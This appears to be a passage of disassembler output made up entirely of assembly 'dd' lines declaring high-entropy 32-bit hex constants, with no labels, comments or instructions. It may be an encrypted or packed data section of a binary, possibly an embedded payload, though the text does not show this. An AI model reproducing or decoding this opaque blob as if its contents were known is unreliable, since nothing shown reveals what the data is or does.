dd 2C58AAE0h, 52DE9F6h, 0B1ECEEB3h, 0C20909A1h, 97F148Bh
dd 7D6ABA9Dh, 658B90E5h, 0BD5BD329h, 0DB09CCA7h, 0E8C38356h
dd 0CBB93B34h, 24707D96h, 0B7EDBBB1h, 5CC043Eh, 0B652660Fh
dd 0BBF02884h, 0B08DFF06h, 4990B030h, 0BF5E4DC7h, 834E030h
dd 397C5CF8h, 0ABA75812h, 1D257EE3h, 38B75620h, 0D8BD1231h
dd 0B85002C7h, 330B3E16h, 256B1D61h, 0EE0E4116h, 0C1CC7B88h
dd 0B5A465E7h, 41F7C1E8h, 0CFC4722Bh, 5390B76Ch, 5AEE7BDFh
dd 0E5BFEC34h, 1FF8BA08h, 8A60B3B3h, 4BE0185Ah, 0F1F006Fh
dd 0C7C281F9h, 4417865Fh, 38FAF201h, 3A006B95h, 0ACBB2EF8h
dd 5F6A7E65h, 19AE931h, 3D281226h, 4EA0DA29h, 0E95B3D08h
dd 0BB40DD59h, 0A0D9722Ch, 0DD922EBCh, 7196BB61h, 0CE24BF32h
dd 0D348A6BEh, 0ABB549E8h, 5A8C27A2h, 0FD5C5E3Fh, 0ABBA84C3h
dd 2B33F117h, 25CB6801h, 59D9277Fh, 3199E124h, 0F29AE5B2h
dd 32312BC8h, 0AC00158Ch, 4A98D830h, 9D5F6E40h, 3DC7B7DCh
dd 57B0191Bh, 773877E5h, 0C7F15E25h, 5BA7E958h, 3FE08941h
dd 527289Fh, 8EB16B00h, 127AC180h, 9E66EF24h, 0C513E7A6h
dd 0B3531A80h, 59FCBD63h, 0EF93779Dh, 0D6CEF809h, 0EF13C5BEh
dd 0B2FECD84h, 8C03C436h, 993EF216h, 8D3AE06Ch, 0CD9D6532h
dd 1BF22A18h, 6F1F7C48h, 0CB6E5E75h, 0A16462A2h, 0BB875926h
dd 498A360Ah, 0A685080h, 907FBB48h, 0B3F35AF0h, 4F0607C2h
dd 0C8802201h, 28DBA59h, 0E96B862Ch, 0F5F6760Dh, 4979F173h
dd 0CC09306Ah, 55E5323h, 2DE7A14h, 8DA2892h, 7C19E248h
dd 6C5525DCh, 8E022691h, 35588E0h, 7EE5066Fh, 0EBE04F6Bh
dd 0F56FF21Fh, 70957196h, 3EAC009Bh, 0E781614Ch, 92482979h
dd 4BF24CDDh, 0B8A4E4ECh, 7274A4D2h, 9C12D7F6h, 0D9BDB46Bh
dd 6DC0B00h, 7A15CD81h, 0F746121Bh, 0CE2D01DDh, 3A62CA0Ah
dd 3C2991C1h, 758E07Ah, 0A80C09B9h, 3B50C89h, 0A5E58052h
dd 0A35C5FEh, 0A8B806B2h, 5E38E90Ch, 7100B828h, 0BA53F451h
dd 0FC92EB6Eh, 80C24B01h, 31443923h, 23185D5Bh, 4CE5E907h
dd 0D1D7F42Fh, 5909680h, 8FE5BEBh, 0C2F02FDAh, 0B7EBD124h
dd 0CEFE6916h, 582605E8h, 2FA501Ch, 352C42EDh, 0F33B41DDh
dd 7EE452EAh, 7E418280h, 7B55CC36h, 25CCBE00h, 1AE98722h
dd 0BA62C08Fh, 49FC535Dh, 2AE5D0B7h, 16CE4E13h, 0F129B8C3h
dd 6461D865h, 0F53DE227h, 72F55110h, 5DB82086h, 0A6EEBC98h
dd 0C4898E48h, 3B89E830h, 6C7BD17Fh, 0E0F14D3Ch, 7BC03890h
dd 0FB2F06EEh, 0D629280Dh, 50C60FB0h, 2D67E9Ch, 1BA566E1h
dd 0E90502D6h, 9DE48B8Eh, 0B5464052h, 0F5B447Dh, 0CA02E012h
dd 574BFE68h, 864E97ECh, 65973461h, 0B9B14703h, 73AD261Bh
dd 20483B2Ch, 770B3E1Ah, 307650C2h, 0D6D28BFAh, 5BDA89FFh
dd 0EDBF605Dh, 0DD43031Dh, 734AE971h, 0BC560487h, 0B122E46Dh
dd 30B92007h, 809F511Dh, 1F488212h, 0F820E349h, 867E0080h
dd 2CA42D22h, 0F71E105Ch, 0AA0040D0h, 57C8D49h, 21571616h
dd 34A7F04Ch, 3DE29B4Fh, 0FBBC3078h, 26CE6866h, 740982ACh
dd 6831614Bh, 0F87B485Dh, 0C26CF008h, 63DA52B7h, 4CFB0881h
dd 0BD2B3092h, 0D320F306h, 281C0148h, 1F235D08h, 0E5F40576h
dd 8229EC57h, 2108080Ch, 2F263834h, 203F8510h, 981E924Fh
dd 0CC1D2062h, 81204676h, 3A71BF97h, 686CF76Bh, 4D616842h
dd 3C4DDBE9h, 1261D56Eh, 0F9F81B3Dh, 96C62897h, 7C5A687Eh
dd 73927C30h, 96F1264h, 80E5B2E8h, 8B4BB53h, 202898E2h
dd 68158FAAh, 4D23653Ah, 16B958DEh, 0DC32A6FBh, 20027A30h
dd 544A5BEAh, 0AB5295EBh, 91506944h, 9402E4CDh, 0D90B75D8h
dd 9D04EF5h, 2D03E0C1h, 0F01C33D1h, 0C2A2D68h, 0C1583F7Ch
dd 0A7614F2Dh, 0BE005F51h, 9E01073Ah, 7C1DB956h, 0ACFC2EAAh
dd 2EDCBFA3h, 3FCA615Ah, 0B2398C3Ah, 0AE2CE031h, 0FFC2A8ABh
dd 0FCE756CCh, 2148B368h, 9A09DEF9h, 13AB6617h, 0C21D5E2Bh
dd 10359CAh, 185417F8h, 829D619Fh, 0B100059Eh, 70F4622Bh
dd 40299040h, 8A0B686Ah, 8645CD67h, 2514BA5Ch, 9855FD08h
dd 99DDF672h, 86B460E9h, 0F894F9E9h, 0B714727h, 0C0A495E9h
dd 0B22BAE5Dh, 55C0D65h, 0BD0F681Fh, 13AC3CECh, 99F7F447h
dd 2AEB277Eh, 33FF651h, 0A723B2CFh, 0BE0C1D2Dh, 325530Dh
dd 0AFEFFBC2h, 0F2ED82E5h, 43A88659h, 0E09914Eh, 708584B0h
dd 77EC8D85h, 8C054800h, 1D31EC4h, 256AC74Ch, 0BB66F565h
dd 2D4EE7F4h, 3CC80AA2h, 0BDEBA08h, 0F90691BFh, 0FE06920Fh
dd 47250804h, 30360F0Eh, 0D7EF48EAh, 664EEFE0h, 3105741Bh
dd 40B4E9FAh, 45A8F752h, 1510B105h, 370CC105h, 826A2C83h
dd 750B7F68h, 35540C18h, 0A3467C2Dh, 57FC55Bh, 4A33BB30h
dd 53BC59h, 21FC4270h, 9002E8C1h, 0DA709E3h, 0EADC164Bh
dd 1DFFC327h, 9634D77Ch, 0F150BF53h, 431C6108h, 44CACA1Eh
dd 0DD882943h, 685A43DBh, 724EAFECh, 0F8DBF835h, 62504E5Fh
dd 0BC7158C1h, 7D76841h, 0BEC68D7Ch, 97046661h, 5469262Dh
dd 1FB3C081h, 20E3D001h, 0F3E6CE23h, 749F30E6h, 0C8DA535Ah
dd 38C41C75h, 0BE4B0564h, 0A6179FCBh, 0EF7B299Ch, 0A77DADBAh
dd 822BFD7Dh, 0E5756F53h, 88E7A590h, 4BBB5388h, 569757F8h
dd 9DA450FBh, 1C37ECB7h, 0AFD4623Eh, 0E984D656h, 41E2065Fh
dd 0C2029505h, 8191B0ECh, 12A2EB03h, 8AE93BE8h, 0BBCDF5F6h
dd 296D60B0h, 311E2ED3h, 84E9090Dh, 5A5E27A1h, 2A63E149h
dd 0E1C09452h, 4C8B26C3h, 0F830F40Dh, 1AA4F55Fh, 2A758A2Eh
dd 0F972F702h, 0F8C07DD9h, 0DCB79E4Fh, 0AEE3C9EDh, 0C278F7F1h
dd 0E9795655h, 98BE304h, 2E5BEC5Eh, 4964E074h, 0DD0F465Dh
dd 0D47400CCh, 0D143E910h, 7B718A9Ah, 22803DC5h, 0AF1375FBh
dd 41703F98h, 6416008h, 5FAA0097h, 71C2E381h, 43293E37h
dd 0E9403BA5h, 1A03BEBDh, 0EDC16123h, 6063302h, 69252FD6h
dd 167952EBh, 0FFD8315Eh, 27682B3Ch, 89D342C0h, 2EFE5512h
dd 0E94C611Fh, 0B352BC6Ah, 4C7077C3h, 0C4B8FF6h, 39BF7238h
dd 3A81302Bh, 1A197ABEh, 6DF06B26h, 0A9D65AF7h, 48CE02AFh
dd 5F444F2Eh, 3D2A2400h, 0B025E9D0h, 7DC4D7D5h, 13CB6812h
dd 0C1818064h, 976237ACh, 0F7D02E51h, 1681EED2h, 15485F2h
dd 9DE90296h, 5F2D2F94h, 0AC10326Dh, 0BA0B7352h, 0C0B44166h
dd 2431CD2Fh, 3E32C2Bh
dd 1E1339BEh, 7D690C04h, 85F0E226h, 3C872D5Eh, 0F1E9D1B1h
dd 53C39DE3h, 5C8308D8h, 0A6347268h, 0A8FA95C5h, 0BEA3E2Eh
dd 6D680240h, 2F1A9210h, 0C4457101h, 80CDE82Fh, 0F6E718CEh
dd 0C0F00AD6h, 0F902EE3Dh, 0F588A40Fh, 0E3EF835Ah, 52669828h
dd 0F43FEDB2h, 0E54BE9DAh, 54B36001h, 5BECDE88h, 1EF76130h
dd 9048E780h, 0E9168332h, 45F2B699h, 10DC22C5h, 844E68F3h
dd 0A0B18477h, 550BB853h, 805F4C27h, 0C40506ACh, 2CF6042Ah
dd 0FE58C329h, 2218729Ah, 56FDEF8Eh, 75C56881h, 93023326h
dd 29923DE1h, 492471F7h, 59ABD2E9h, 0EEF940BAh, 314F987Fh
dd 0BBBB53FAh, 66BDDF60h, 15AE3F6Ch, 0E9974461h, 0C123BC1h
dd 0B31B2CAEh, 0A7EA11BAh, 0B86DADD8h, 8E401F0Ch, 93984946h
dd 9FFDDC10h, 7C842025h, 0ACD3897Dh, 883995E4h, 0F9094FC5h
dd 0F2AD620Ah, 0C076F2BBh, 4B2D0563h, 0B8B0650Eh, 840744EDh
dd 4EFCACB2h, 0B3D1C0A6h, 31D4F2Eh, 1848714Bh, 90AE7B0h
dd 876A7C24h, 2D50C002h, 89754896h, 0B87398FEh, 7A76BCCBh
dd 104C6657h, 1C57B685h, 0CE2D0168h, 2AFEBDFEh, 1639FB4Bh
dd 593EC20Ch, 49A1F9FDh, 38B6DA55h, 0EA4B2C75h, 0E913A68Ah
dd 0B8CD52D2h, 0ACDA3C8Ah, 8F8CBEF0h, 0E66F2E47h, 8D3718A7h
dd 68589328h, 433DC932h, 3456548Ch, 423180FCh, 0F602E281h
dd 0E90EF003h, 0B418E8DCh, 0BA7CBFAEh, 3005BC14h, 0E99A06C5h
dd 0ADF49B9h, 86689D81h, 0A6B97F8Eh, 5A101348h, 32FA5F5Bh
dd 0BD680711h, 9009BF57h, 0DD04FC01h, 1CD52A12h, 0D1B09D06h
dd 598162BEh, 53020B7Ch, 0CBFEC6B3h, 0EF856FE2h, 93769DD8h
dd 5EB2C12h, 0AA89CA8Dh, 0AB5AF7E3h, 652BFA61h, 66506602h
dd 55EDC398h, 0F90DAFD6h, 8C2C15BDh, 0CB20FF76h, 38A1FD12h
dd 3BA069DEh, 0E2B594B3h, 2E1AE91Ah, 1996DD1Bh, 54A8C495h
dd 9D01DD92h, 4C9AAF4h, 0CE8D977h, 7914B05Bh, 5D950B82h
dd 0B356A029h, 5AC58416h, 2ED7F1AEh, 0BC4AFC9Eh, 0A17B1601h
dd 2B2239EBh, 2558AF0h, 0EBA6851h, 0EB40407Bh, 64BF7A3Dh
dd 905EB7A6h, 0B46759C6h, 74158DCh, 319A679Fh, 28D0F723h
dd 6855A08Ah, 8B565B32h, 0F945132Dh, 6097CDEFh, 0EA985110h
dd 87A3704Ah, 4DB05082h, 0EE80EF40h, 40E9900Dh, 24312CE6h
dd 0EDE4F4C9h, 0E059D783h, 54401A1Bh, 1EE75F28h, 194F2CEEh
dd 4887D67Ah, 73256842h, 294A981Bh, 5C5FAA30h, 325AC912h
dd 648B2C0Bh, 3BB2DF01h, 0E85B0C05h, 0D00BB22Dh, 1E57950Dh
dd 166D0F13h, 0E9C663C6h, 0CA970D69h, 57D45D9Ch, 5F8EE950h
dd 6327BF93h, 201B8006h, 36B2D279h, 0F6F4F05h, 2FAD329h
dd 7612288Ah, 9E02A658h, 21491D58h, 4EB0D7DFh, 5FD28E61h
dd 0CD8C5E0h, 50088126h, 3E1F3B44h, 0F8D643E8h, 37B892Dh
dd 8027E9FEh, 0BDF24450h, 0CB3B8E0Fh, 0D5D88ED4h, 5ECA497Eh
dd 2BA9DCB8h, 0F9E523F9h, 3987848Fh, 5311491Dh, 933E8671h
dd 0DAEF5ABAh, 47BE5BD9h, 9474EB4h, 7D1BEC7Dh, 8BCB695Eh
dd 0EBEFC27Ah, 8FC544Fh, 39A9BEA4h, 952CA84h, 25CB2F5Ch
dd 0C5E482EFh, 0A76414DDh, 0E800B24Ah, 0E96CA92Eh, 22C0C746h
dd 0D8F60104h, 88DC2A34h, 6C6B20B2h, 0AAA05B5Ah, 0CD507653h
dd 3B596E1Ah, 0A09A8E44h, 0E1E0EA8Dh, 72DCBE8Eh, 910FD1D7h
dd 6680271h, 802A0207h, 5C1BE1CCh, 0C9DAA0E0h, 15728D2h
dd 9412208Dh, 0BD17D49Fh, 0A4EF0626h, 8DD116C8h, 8051F9ACh
dd 71F38111h, 0B84C9C1Eh, 0A5C15ACBh, 3F0438C4h, 1B571FEFh
dd 0DEC27096h, 59795F5Ch, 16E95241h, 0F03EBC35h, 9E40DA7Dh
dd 40C103BDh, 0EB093299h, 0CBF48C19h, 0BA935E1Ah, 0AA0F560Dh
dd 0E24B3C9Ah, 8AE982B3h, 4B377602h, 5D8A25FDh, 308F29BAh
dd 84B75BA4h, 0F2FB5214h, 28BBC63Bh, 0FB010111h, 0DBE90B88h
dd 7355C23Ch, 0C7033B93h, 469BD1D6h, 51AEEDE0h, 294C0809h
dd 81588FDh, 0F4055F04h, 360F183h, 3FBE56A4h, 0F798ED5Dh
dd 8D2F68DEh, 648C9811h, 446C0935h, 160CDE9h, 0F14B6BAh
dd 25C97B63h, 2C205D02h, 3996364Eh, 0C8F696A1h, 314BCED2h
dd 9DE33AA0h, 95D5A58Bh, 0D4E989BCh, 13E58B55h, 517AC910h
dd 5F28A32Fh, 0E9E108B8h, 0F629B9C4h, 47F5DC37h, 36B039C5h
dd 4C0F2FB9h, 7C26565Eh, 0A4EA310Dh, 1BC608A6h, 66049568h
dd 3C084177h, 450DC0FFh, 207EE875h, 8798F53Ch, 57E960A7h
dd 42C77169h, 0C0E6BD3Ch, 28A4B013h, 615031F4h, 0EAE90B54h
dd 7D896A47h, 4678B4E1h, 1DA0E74Bh, 3802ADBAh, 84D02955h
dd 0DCAD1C90h, 1CAB452Eh, 49DA1F6Ah, 85748B19h, 7FADEF87h
dd 685760F0h, 31675F63h, 0C2490FCCh, 9CFEEFFFh, 130465E9h
dd 0E7B1BFBBh, 0B96503E8h, 564B0067h, 0DE29482Bh, 0A4924CFAh
dd 20623CB7h, 839D59E5h, 2DA32BE4h, 1A5F39Bh, 0E6CDABC9h
dd 0DF7255E0h, 47338373h, 66D91035h, 99253FDCh, 50B8A782h
dd 8FBD05FCh, 0EB487E34h, 0B5F816E1h, 0E4D82CC6h, 46023C86h
dd 0D2F75C1Ah, 3B625E40h, 0E96DCA09h, 7695042h, 0D039C980h
dd 1BC151E1h, 51182008h, 8581B53Dh, 5734E9E5h, 0B861DDCDh
dd 0CBDE56E6h, 1014C7D5h, 56341001h, 9A535C2Fh, 21C5FF4Bh
dd 874FAD8Ah, 92ABC687h, 13EE52F4h, 12C6A6CFh, 0CBBFCC70h
dd 18840ACh, 64EF5713h, 0EF017817h, 307C5AB9h, 8E225DCAh
dd 3500DD6Ch, 5EE6378h, 57420525h, 1A0AC19h, 0A44A5D2Dh
dd 0BA2B85E9h, 0CDA93434h, 0E75F6572h, 7D9EBA52h, 929FB94Eh
dd 25E9BB28h, 4F529FDDh, 17F13848h, 0D9AE876Fh, 0A3292B3Dh
dd 5E8A357Ch, 2096A793h, 0EDA09095h, 0B627004Ch, 56FD0150h
dd 72BE6DE9h, 24359300h, 0B0544236h, 161261C6h, 2088ADB0h
dd 0ADB83041h, 66D82813h, 5F993B09h, 0F95D4389h, 383A733h
dd 95761F3Eh, 7D701530h, 278E16F1h, 59610E89h, 1B3EE3E8h
dd 0FA7D8CEAh, 133A0C70h, 13555683h, 52D2BAE1h, 27095FECh
dd 0E9619F53h, 16972336h, 2722BFB8h, 758DEACCh, 0D42D1E47h
dd 0EAE9C518h, 0B6D0DEC8h, 454E2D6Ch, 646ACD2Fh, 0A8D04E6Ah
dd 0DE494E4Fh, 9F4B7030h, 0E4E9F53Bh, 81D97C6Fh, 205B84BEh
dd 3EF681E8h, 215C4BDCh, 4E2F028h, 0CF052AE9h, 9F02AA11h
dd 5F413273h, 90AE5D83h, 9C99FB85h, 22BE320h, 0E90AF15Bh
dd 35F49A92h, 725BD567h, 29363880h, 6881326h, 0ECED6A1Dh
dd 0D1416B27h, 3859ADB2h, 0E9FD30EBh, 58A06186h, 0C1A1ED80h
dd 0D6C5D5E5h, 9ED37AD5h, 0BAD90BC9h, 55964475h, 91CCE64Ah
dd 0F7C016Dh, 4148BC2Dh, 7FCAFF72h, 585051E6h, 8B951863h
dd 0C0035533h, 0D505B9AAh, 3F0333EDh, 0EB249BC1h, 0F9CE007h
dd 0A3F44B8Eh, 0AD75525Eh, 0D0BEF6FBh, 69972FD6h, 45210235h
dd 16DE63FCh, 0AFF7090Fh, 16EF3560h, 82052635h, 9FE1202h
dd 5042F00Bh, 42AE8185h, 3EF168C7h, 0EA90CC46h, 0AE87AD2Dh
dd 3334A967h, 134B88DBh, 98F19F38h, 0B1CF1EBBh, 684D0481h
dd 982E31B7h, 575C8384h, 9E91261h, 1C33FB44h, 7734FEh
dd 515257A6h, 31283A68h, 6A2D9CEBh, 851D94Bh, 51250F4h
dd 0E9C595FBh, 69206264h, 57680136h, 3CBD6363h, 488A9552h
dd 72E9094Ah, 0B61F72C2h, 2B920354h, 0C3A309Eh, 63B0120Eh
dd 391CE901h, 3B202A2Eh, 166B02BEh, 6FC1E92Dh, 3AF1D2C9h
dd 5E53A381h, 4D893F20h, 896CB75h, 5503F911h, 0A25ED668h
dd 77965575h, 4DF2E509h
dd 7E0F02C7h, 9FD1CE99h, 41756C50h, 40EB2FC0h, 0B81C9279h
dd 500C404Fh, 8031B407h, 54B549CCh, 0F30020E9h, 7FF756FBh
dd 70399E2Dh, 0F10375BEh, 550F258h, 3676E9B3h, 741336Ch
dd 1B11A8F2h, 0BFA1E904h, 0E941EAF2h, 0EA6702FBh, 68A02869h
dd 35B923C0h, 0C4FBE30h, 2FEE6BBAh, 0E5D829B7h, 7459CF2Fh
dd 9561DA70h, 0C3306E49h, 965D5255h, 985F2759h, 974FEBEh
dd 0D9F76523h, 5B925183h, 55522BAh, 5DBA2DCCh, 42742CEh
dd 0E2D72835h, 8B070978h, 5FC87D06h, 0C80C310Eh, 8B419D68h
dd 95279ADFh, 480546A0h, 117EA440h, 0C89FEF74h, 17418724h
dd 456148Eh, 8AD6CFB1h, 861862EFh, 0C5F80BAEh, 0F155AD2Fh
dd 91C8A7B7h, 0F3A45BB1h, 16426104h, 0F8804338h, 11CC4A09h
dd 82F30112h, 4C54A6E9h, 806812ADh, 827A3743h, 4CF96A49h
dd 4585BE81h, 0DC6F6260h, 741DE94Ch, 23173D12h, 9D7516ABh
dd 4E604BEFh, 5DA35E16h, 0FA014248h, 15FCB59h, 21931F7h
dd 76825E08h, 0B90747D1h, 113829B0h, 0BDF9F641h, 787C1F42h
dd 77F3E7E2h, 12C88510h, 0FD404181h, 0F976367Fh, 0F340342Ch
dd 0F9689F5Ah, 23BF8ED9h, 0D26D6387h, 8A1F4074h, 0EF4209A9h
dd 0E9FFCF31h, 1870D196h, 0C9636410h, 0E7E0BFC2h, 945CA059h
dd 0BECC833Ch, 0BF0029A3h, 1AA0B7B6h, 5D4F0AE9h, 0A69A61FAh
dd 0C2BD6BD8h, 673BF1C0h, 529D2801h, 3AC30C41h, 8BDA26BFh
dd 0A8A1E318h, 3D57AF18h, 0B0A67DB1h, 0E0C087DCh, 0F7AB8206h
dd 0C1D8F1DDh, 6E0ABF68h, 0F2698D8Dh, 88F3AA92h, 6800F4D0h
dd 327237CAh, 805B47E9h, 218E18CDh, 0EF122DB7h, 5D8BC3A6h
dd 7A6457DEh, 0BAE3C106h, 615F3920h, 0CEDEE49h, 62A02BF6h
dd 5D7F0091h, 4ABB53AFh, 7609B478h, 566131E9h, 9488731h
dd 0CB05D10Fh, 0C4B8310Ah, 7DCF7382h, 22F1CC5h, 0D7FD88B0h
dd 0E388CEE5h, 0EF2D1386h, 54598A49h, 0D2E18954h, 68E7CDD6h
dd 7F0B30B7h, 295EF494h, 3E840EE9h, 51CDEA7Fh, 0AE045EE9h
dd 0B0F1B807h, 0E6578FA2h, 3FB6092Ch, 0FB50E6D0h, 54005D97h
dd 5AF70867h, 7BFCC058h, 1768CF0Ah, 80A6422Eh, 46E8CD0Bh
dd 5DC92E3Ah, 2F4D6AC9h, 57A5A0F6h, 0C0BF996Ch, 0B7844C7Ch
dd 0F5D23F76h, 0B192DCE5h, 0F0011F81h, 172B1B31h, 947CA3C7h
dd 8EB675C3h, 990F6D9Ch, 2E496B44h, 48FAA5DCh, 5BDDD544h
dd 285B90A8h, 0C7298083h, 0E984E705h, 0C2E47E71h, 0A3E02EAh
dd 0F20142B4h, 8016C42h, 6EFAD8E9h, 969FF5ECh, 0F7273148h
dd 0C03A21DFh, 2E58ECE5h, 9115C43h, 85F8205Ah, 17A39331h
dd 5004E805h, 8C5BC34Dh, 0E965D198h, 0F432B625h, 0F480723Bh
dd 14266CCCh, 72754082h, 0A590973Eh, 2117FA44h, 27B42E68h
dd 9342954Dh, 27A21455h, 0A4F109B1h, 0A310F569h, 4758F768h
dd 82F0D202h, 51A45DABh, 5ADEC4h, 2E367205h, 0D2FFA018h
dd 7610F81Ah, 0DC681701h, 2A9A8C5Eh, 76956701h, 3E9C141h
dd 0E1D4C061h, 0D2E6C108h, 7B3D0901h, 0DF582FB0h, 60559245h
dd 541BE09Ch, 58AC6D4Ah, 0B2BB6250h, 70449538h, 2CA2555Eh
dd 6A8FB192h, 2158E8A3h, 413E9B81h, 0E9F2E076h, 8DC2B55Eh
dd 0C591FD5Fh, 21A7D042h, 0B6EAC130h, 0EB30E9DAh, 0DBB84E81h
dd 6488ED87h, 0C67F291Fh, 0F5591826h, 6C030581h, 0D5D40984h
dd 78CE3467h, 4F78802Ah, 0A17A276h, 0D0CDDF7h, 195A3495h
dd 648EB80h, 0FAE30363h, 38CAD8CCh, 0CD7D3FB5h, 0E31EC360h
dd 0F3790620h, 4A39EA2Fh, 0D39FB82Bh, 68B80EBCh, 0D33A7D01h
dd 9433E92Bh, 2D18E72Bh, 0A894FC05h, 22570182h, 0EEC14C3Fh
dd 0D0017B03h, 4E071E39h, 80851820h, 0C2788966h, 0C9846F5Bh
dd 0A21DA2AFh, 0E7DC5555h, 0AA544A74h, 0B04B673Dh, 8B8AFE4Bh
dd 0FB2FCAC9h, 407DEEC0h, 6B83485h, 0D027D227h, 4E06B098h
dd 7B40E157h, 1EFCF361h, 9D8EB12h, 7435758h, 5F067FEh
dd 15AB52C4h, 1CC599Dh, 69FEBA1Eh, 0DD5E582Fh, 35207F94h
dd 0B6812C8h, 0C1C5A831h, 37E753A5h, 9A509D60h, 5BD927B8h
dd 852312DBh, 0AC6E5C51h, 48E9E092h, 0BC1EB144h, 0BECD9A38h
dd 2824F502h, 0BD459E8h, 651089C8h, 2F6C5B29h, 1577A27Fh
dd 2B60894h, 0B9B035Dh, 0C104CFF6h, 16FC08E2h, 9546F074h
dd 574850D0h, 1EDC05D9h, 84BB1613h, 73B8A81Ah, 4016F15Ch
dd 68165E0Eh, 10AC6AA1h, 8B0082A5h, 38244F47h, 723B0A0Bh
dd 80A8D65Ah, 42599421h, 0E07EFD6Eh, 684B1E54h, 817B4DB1h
dd 0F2D6380h, 0FE9D0952h, 0A10797F0h, 3E806635h, 8A7B13EBh
dd 1E8E41B4h, 0D71B1328h, 13DE0AAh, 0F6A77291h, 0AA0FB420h
dd 0DD550421h, 0D7308005h, 6AE73142h, 0FEE5040Bh, 367869FEh
dd 837A9C41h, 838D7BFCh, 0EBEFD7FAh, 5686372Ch, 81F4B67Eh
dd 0A82FFD68h, 60E82703h, 0BA52E101h, 0F120845h, 6A727B07h
dd 812CD1E6h, 0FA55A08h, 5D027AD6h, 5F615968h, 0B70CB818h
dd 56ED63C9h, 645EB05Ch, 3B5B4C01h, 204232A0h, 10097536h
dd 8B900D15h, 0EC580E7Dh, 27F83C5Bh, 0A25EC863h, 81A1C34h
dd 5A14051Ch, 6FB037E8h, 0C5F2A48h, 197847F0h, 38A72699h
dd 0D76C011h, 75C6ABDh, 7E195808h, 7AE9D80Fh, 0FAA9F24Eh
dd 2385CBCFh, 12BCD77h, 3A35D1DEh, 0E2845457h, 472900FFh
dd 29328C86h, 0C6B8D665h, 0CC996BAh, 286C723Dh, 3C4EF148h
dd 0FADF85F8h, 0B1FBD213h, 3BC5CD5Dh, 6C0A6E35h, 6ACB9BAh
dd 8838AF24h, 3F174A2Ah, 0F84B0EBBh, 6382897Ch, 7858E29Ch
dd 560CDE55h, 811EA8DEh, 2279CABFh, 0BF7B170h, 28644B6Bh
dd 8235A80h, 42B559E3h, 0AF50D75Ch, 3EFCCF5h, 0B0442EC1h
dd 0AC2A139Ah, 50AD27BDh, 36FF9723h, 8BA0259Eh, 2E8868D9h
dd 597A2851h, 0A85ED05Fh, 0DDB7A201h, 0BBA0125Bh, 8B287D9Dh
dd 7B6F82BDh, 0C35768F6h, 4BF01C2Eh, 0B1FF2F09h, 0E33B5E06h
dd 809A8478h, 13ECAD13h, 69ABBE68h, 968F473h, 0F23AA29Dh
dd 537D09BCh, 13E9C11Ch, 5FB7D93h, 3E527632h, 4FAE1FEh
dd 42EF0108h, 6F25B478h, 168D21A4h, 0FA43083Fh, 5716D418h
dd 6C6700BFh, 0CF8127F7h, 73281F82h, 0E92DD84Eh, 9DA6D864h
dd 41A7BA75h, 0DA29A352h, 9668320Eh, 9F88420Bh, 0FDCC39F2h
dd 0FED6612Ah, 13C99CC3h, 0E410BC89h, 0FC8EEC0Bh, 0DA0FC2A5h
dd 1AAF4851h, 4E2D40DCh, 57E10F53h, 0A81CC101h, 52583408h
dd 5D41802Ch, 0AB0BBA45h, 0F078B57Bh, 1F814A46h, 0FE5292A2h
dd 5F8B9AB7h, 73513992h, 9CC2756Bh, 49DF795Fh, 54422359h
dd 0F0CA7C5Bh, 9C5AB8E9h, 6485F4E2h, 3CAEA2CCh, 78C39254h
dd 1E84C337h, 0D50844FBh, 0E037BA76h, 0F580DAE2h, 0FA45A119h
dd 0C2877655h, 5BB09548h, 985ED9E9h, 7F8031AAh, 301C818Ch
dd 63B753D8h, 167EA26Fh, 48A073B6h, 6F414CC6h, 44231155h
dd 7197277Ah, 433CE9D2h, 0EB72984Bh, 0FEB1F3F3h, 8A54C61Fh
dd 0E304913Bh, 4F1C6CF0h, 0B6AA6F80h, 899E166Fh, 0A1D313DEh
dd 0B726753h, 66540368h, 41665DEBh, 546CEB4Fh, 8B866419h
dd 0B8E1EBEBh, 2646D82Eh, 5797519Ah, 0E91A07BEh, 7E4E4DFFh
dd 8273C7Eh, 484204D2h, 0C616E359h, 9270450h, 71BFF5D7h
dd 67B67FF1h, 0BED86685h, 23033E31h, 6D72A48h, 0BF16106Bh
dd 0A2C20BDBh, 0C0405CEEh, 171CEA1Fh, 0FE660B1Ah, 0C0065B1Ah
dd 3442D282h, 0AA890635h, 0B66E6F3Dh, 2D7B572Dh, 6BB77C6Ch
dd 0E9247BDAh, 0F7896D38h
dd 81D8D4DAh, 0CF5A6CC2h, 15C86A42h, 9CBD17B0h, 9C91AAF2h
dd 92A3FE9h, 16FF58CBh, 4D792528h, 0AFD92BBBh, 0F1C75266h
dd 0B690F60h, 0FE52B238h, 0A4121F5Bh, 80A680A2h, 1BED595h
dd 0B3311E9Dh, 0BC5CC514h, 384C80C5h, 4BE94DCCh, 0B92400E4h
dd 98BCD12Fh, 524AB598h, 4EE28BBBh, 315AA7A6h, 0FA0868B2h
dd 29A54B51h, 0BE907532h, 7897B6E9h, 0EB79B552h, 52725EC9h
dd 9D05C1h, 0BF39C4BDh, 8F0300Bh, 5C89C195h, 65E8AF04h
dd 5F8DAAB5h, 4B88DA20h, 2A938D11h, 740D4B22h, 0C6050718h
dd 293F102Bh, 7A02DD0h, 3C498B5Ah, 84E9B04Dh, 0C842D0B4h
dd 0B025539Eh, 0CD2F8040h, 0D4047D4Ch, 0CF35A881h, 0EECF1EB6h
dd 65E6C496h, 8B3267D7h, 8ACF4BE9h, 2FCE6E5Ah, 353D132h
dd 0F55AE610h, 5FA92FF9h, 0AD6C5813h, 9F8A164Fh, 25BBD1FEh
dd 0CC01055Fh, 3AC67C51h, 40C7F82Bh, 0CA4FE908h, 0BAF3B516h
dd 0BBC331C4h, 0C2E45CF8h, 19B24C03h, 367B225Fh, 32030968h
dd 9FD2539Dh, 2F06F8D5h, 4EC95DEBh, 4807EAB9h, 1E9F965h
dd 37FEE03h, 0C097EA1h, 2D13973Fh, 4C402F16h, 8905C4h
dd 0F6814E50h, 6D6E45EFh, 0A309CEECh, 575DAB21h, 312DC4F2h
dd 0A20AC6C8h, 4298DC76h, 59F5490Ah, 3F3FA8F1h, 0CE2CECB7h
dd 5F54898Bh, 60D7C9B9h, 1ECBCF3Eh, 0AF487541h, 6CB05066h
dd 683EC927h, 95625351h, 810734F5h, 85141098h, 0AA7A53ECh
dd 0C1B4B3F2h, 9E63DEh, 958E188h, 0F986D7F6h, 0FE1CB4FCh
dd 7524E9C9h, 5EF13720h, 0BDF4CA29h, 21D1925Eh, 5C03189Dh
dd 72E7B2E1h, 5F7707C4h, 7B2156Bh, 979B7D5Eh, 3849BDFAh
dd 72F37E7Ch, 91CF94Fh, 7699E95Fh, 701425E7h, 56806816h
